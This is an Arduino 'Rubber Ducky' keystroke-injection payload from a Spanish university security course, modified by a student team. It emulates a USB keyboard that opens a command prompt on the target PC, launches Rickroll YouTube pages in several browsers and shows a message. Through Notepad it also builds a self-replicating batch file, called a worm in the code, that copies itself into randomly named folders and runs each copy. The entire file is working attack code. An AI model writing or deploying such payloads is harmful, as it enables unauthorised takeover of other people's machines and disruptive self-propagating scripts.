

```
/*  
 * SEGURIDAD EN SISTEMAS Y REDES  
 * Borja Bordel borja.bordel@upm.es  
 * EJEMPLO RUBBER DUCKY  
 * Alterado por equipo Gryffindor CIT31-01  
 *  
 * PAYLOAD: Payload bomba youtube roll con gusano  
 *  
 * IMPORTANTE: Todo el código debe estar  
 */
```

```
// Librería para convertir nuestro Arduino en un teclado USB
```

```
#include <Keyboard.h>
```

```
void setup() {
```

```
    //30 segundos (30K ms) para que haya tiempo de desconectar en RubberDucky del PC
```

```
    delay(100000);
```

```
    // Importamos layout en castellano para el teclado
```

```
    Keyboard.begin(KeyboardLayout_es_ES);
```

```
    //Minimizamos las ventanas
```

```
    Minimiza ();
```

```
    //PAYLOAD
```

```
    //Ventana de "Ejecutar" para poder lanzar aplicaciones
```

```
    Ejecutar();
```

```
    delay(200);
```

```
    //Teclea("https://www.youtube.com/watch?v=dQw4w9WgXcQ");
```

```
    Teclea("notepad");
```

```
    Enter();
```

```
delay(300);

Teclea("start cmd.exe");

Enter();

Teclea("start iexplore.exe -new https://www.youtube.com/watch?v=dQw4w9WgXcQ");

Enter();

/* Teclea("start firefox.exe -new-window
https://www.youtube.com/watch?v=dQw4w9WgXcQ");

Enter(); */

Teclea("start chrome -new https://www.youtube.com/watch?v=dQw4w9WgXcQ");

Enter();

Teclea("start https://www.youtube.com/watch?v=dQw4w9WgXcQ");

Enter();

Teclea("msg * We're no strangers to love...");

Enter();

Teclea("set localNuev=%random%");

Enter();

Teclea("copy programita.bat programitaCopia.bat");

Enter();

Teclea("mkdir %localNuev%");

Enter();

Teclea("move programitaCopia.bat %localNuev%/programita.bat");

Enter();

Teclea("cd %localNuev%");

Enter();

Teclea("start programita.bat");

Enter();

Teclea("cd ..");

Enter();

Teclea("start programita.bat");

guardarBlocNotas ();
```

```
Teclea("programita.bat");  
Enter();  
guardarBlocNotasComo();  
abrirDirExplorer ();  
delay(300);  
Teclea("cmd");  
delay(100);  
Enter();  
delay(1000);  
Teclea("start programita.bat");  
Enter();  
delay(300);
```

//IMPORTANTE: Si dejamos el teclado iniciado, el procesador se bloquea y no se podrá programar de nuevo

//NO olvides esta sentencia

```
Keyboard.end();  
}
```

//IMPORTANTE: ¡¡Debe queda vacío!!

```
void loop() {  
}
```

```
void Enter(){  
    Keyboard.press(KEY_RETURN);  
    delay(50);  
    Keyboard.release(KEY_RETURN);  
    delay(50);  
}
```

```
void Cerrar(){
```

```
Keyboard.press(KEY_LEFT_ALT);  
Keyboard.press(KEY_F4);  
delay(500);  
Keyboard.release(KEY_LEFT_ALT);  
Keyboard.release(KEY_F4);  
delay(500);  
}
```

```
void Teclea(char txt[]){  
    Keyboard.print(txt);  
    delay(500);  
}
```

```
void Ejecutar(){  
    Keyboard.press(KEY_LEFT_GUI);  
    Keyboard.press('r');  
    delay(500);  
    Keyboard.release(KEY_LEFT_GUI);  
    Keyboard.release('r');  
    delay(500);  
}
```

```
void Minimiza () {  
    Keyboard.press(KEY_LEFT_GUI);  
    Keyboard.press('d');  
    delay(500);  
    Keyboard.release(KEY_LEFT_GUI);  
    Keyboard.release('d');  
    delay(500);  
}
```

```
void RestableceVentanas () {  
    Keyboard.press(KEY_LEFT_ALT);  
    Keyboard.press(KEY_TAB);  
    delay(500);  
    Keyboard.release(KEY_LEFT_ALT);  
    Keyboard.release(KEY_TAB);  
}
```

```
void guardarBlocNotas () {  
    Keyboard.press(KEY_LEFT_CTRL);  
    Keyboard.press('g');  
    delay(500);  
    Keyboard.release(KEY_LEFT_CTRL);  
    Keyboard.release('g');  
}
```

```
void guardarBlocNotasComo () {  
    Keyboard.press(KEY_LEFT_CTRL);  
    Keyboard.press(KEY_LEFT_SHIFT);  
    Keyboard.press('s');  
    delay(500);  
    Keyboard.release(KEY_LEFT_CTRL);  
    Keyboard.release(KEY_LEFT_SHIFT);  
    Keyboard.release('s');  
}
```

```
void abrirDirExplorer () {  
    Keyboard.press(KEY_LEFT_ALT);  
    Keyboard.press('d');  
    delay(500);  
    Keyboard.release(KEY_LEFT_ALT);  
    Keyboard.release('d');  
}
```